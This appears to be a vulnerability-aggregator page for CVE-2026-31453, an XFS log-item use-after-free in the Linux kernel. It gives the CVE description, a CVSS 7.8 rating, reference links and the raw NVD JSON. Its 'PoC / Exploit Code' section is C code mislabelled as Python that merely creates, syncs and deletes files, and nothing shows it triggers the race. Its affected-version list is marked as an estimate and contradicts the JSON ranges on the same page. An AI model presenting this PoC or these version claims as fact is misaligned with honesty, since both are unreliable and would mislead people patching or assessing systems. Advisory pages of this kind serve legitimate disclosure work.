CVE-2026-31453

Description

In the Linux kernel, the following vulnerability has been resolved: xfs: avoid dereferencing log items after push callbacks After xfsaild_push_item() calls iop_push(), the log item may have been freed if the AIL lock was dropped during the push. Background inode reclaim or the dquot shrinker can free the log item while the AIL lock is not held, and the tracepoints in the switch statement dereference the log item after iop_push() returns. Fix this by capturing the log item type, flags, and LSN before calling xfsaild_push_item(), and introducing a new xfs_ail_push_class trace event class that takes these pre-captured values and the ailp pointer instead of the log item pointer.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 6.8 (预估，需根据具体commit确认)

Linux Kernel < 6.6 (预估)

Linux Kernel < 6.1 (预估)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * Conceptual PoC for triggering XFS AIL push race condition.
 * This requires a system with XFS filesystem.
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

int main() {
    // Step 1: Create heavy load on XFS to trigger log items
    for (int i = 0; i < 10000; i++) {
        char filename[64];
        snprintf(filename, sizeof(filename), "/mnt/xfs/testfile_%d", i);
        int fd = open(filename, O_CREAT | O_WRONLY, 0644);
        if (fd > 0) {
            write(fd, "data", 4);
            fsync(fd); // Force log push
            close(fd);
            unlink(filename); // Trigger inode reclaim
        }
    }
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31453
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31453
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31453/
[4] VulDB https://vuldb.com/cve/CVE-2026-31453
[5] https://git.kernel.org/stable/c/451c6329d9afa45862c36fe6677eb7750db60617
[6] https://git.kernel.org/stable/c/7121b22b0bac89394cc4c6a54b5aebc15347bdf5
[7] https://git.kernel.org/stable/c/79ef34ec0554ec04bdbafafbc9836423734e1bd6
[8] https://git.kernel.org/stable/c/95fb5d643cc70959baa54cd17f52f80ffc3295e7
[9] https://git.kernel.org/stable/c/c4d603e8e58a3bf35480135ccca2b4f7238abda5
[10] https://git.kernel.org/stable/c/c8a2ab339b88d10fc34a3318c92f07d8a467019d

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31453", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:39.653", "lastModified": "2026-05-06T19:17:21.167", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfs: avoid dereferencing log items after push callbacks\n\nAfter xfsaild_push_item() calls iop_push(), the log item may have been\nfreed if the AIL lock was dropped during the push. Background inode\nreclaim or the dquot shrinker can free the log item while the AIL lock\nis not held, and the tracepoints in the switch statement dereference\nthe log item after iop_push() returns.\n\nFix this by capturing the log item type, flags, and LSN before calling\nxfsaild_push_item(), and introducing a new xfs_ail_push_class trace\nevent class that takes these pre-captured values and the ailp pointer\ninstead of the log item pointer."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.9", "versionEndExcluding": "6.1.168", "matchCriteriaId": "414365AB-14F7-4EE5-87C1-E6EAD2BEFA8F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.131", "matchCriteriaId": "CE6ED4D4-0046-4573-BFA9-D64143B6A89F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.80", "matchCriteriaId": "97EB19EC-A11E-49C6-9D2F-6F6EC6CB98B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/451c6329d9afa45862c36fe6677eb7750db60617", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7121b22b0bac89394cc4c6a54b5aebc15347bdf5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/79ef34ec0554ec04bdbafafbc9836423734e1bd6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/95fb5d643cc70959baa54cd17f52f80ffc3295e7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c4d603e8e58a3bf35480135ccca2b4f7238abda5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c8a2ab339b88d10fc34a3318c92f07d8a467019d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}